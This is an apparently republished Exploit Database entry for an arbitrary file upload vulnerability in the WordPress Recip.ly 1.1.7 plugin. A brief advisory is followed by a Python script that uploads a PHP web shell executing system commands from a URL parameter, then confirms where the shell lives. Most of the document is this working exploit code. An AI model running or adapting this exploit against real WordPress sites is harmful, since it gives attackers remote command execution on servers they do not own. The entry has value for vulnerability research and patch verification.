WordPress Plugin Recip.ly 1.1.7 – ‘uploadImage.php’ Arbitrary File Upload

• Exploit Database
• 86 阅读

• 作者： AutoSec Tools
  日期： 2011-01-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/35265/

• source: https://www.securityfocus.com/bid/46002/info
  
  WordPress Recip.ly is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.
  
  An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.
  
  WordPress Recip.ly 1.1.7 and prior versions are vulnerable. 
  
  import socket
  
  host = 'localhost'
  path = '/wordpress'
  shell_path = path + '/wp-content/plugins/reciply/images/shell.php'
  port = 80
  
  def upload_shell():
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))
  s.settimeout(8)
  
  s.send('POST ' + path + '/wp-content/plugins/reciply/uploadImage.php HTTP/1.1\r\n'
   'Host: localhost\r\n'
   'Proxy-Connection: keep-alive\r\n'
   'User-Agent: x\r\n'
   'Content-Length: 195\r\n'
   'Cache-Control: max-age=0\r\n'
   'Origin: null\r\n'
   'Content-Type: multipart/form-data; boundary=----x\r\n'
   'Accept: text/html\r\n'
   'Accept-Encoding: gzip,deflate,sdch\r\n'
   'Accept-Language: en-US,en;q=0.8\r\n'
   'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
   '\r\n'
   '------x\r\n'
   'Content-Disposition: form-data; name="shell_file"; filename="shell.php"\r\n'
   'Content-Type: application/octet-stream\r\n'
   '\r\n'
   &#039;<?php echo \&#039;<pre>\&#039; + system($_GET[\&#039;CMD\&#039;]) + \&#039;</pre>\&#039;; ?>\r\n&#039;
   &#039;------x--\r\n&#039;
   &#039;\r\n&#039;)
  
  resp = s.recv(8192)
  
  http_ok = &#039;HTTP/1.1 200 OK&#039;
  
  if http_ok not in resp[:len(http_ok)]:
  print &#039;error uploading shell&#039;
  return
  else: print &#039;shell uploaded&#039;
  
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))
  s.settimeout(8)
  s.send(&#039;GET &#039; + shell_path + &#039; HTTP/1.1\r\n&#039;\
   &#039;Host: &#039; + host + &#039;\r\n\r\n&#039;)
  
  if http_ok not in s.recv(8192)[:len(http_ok)]: print &#039;shell not found&#039;
  else: print &#039;shell located at http://&#039; + host + shell_path
  
  upload_shell()
  

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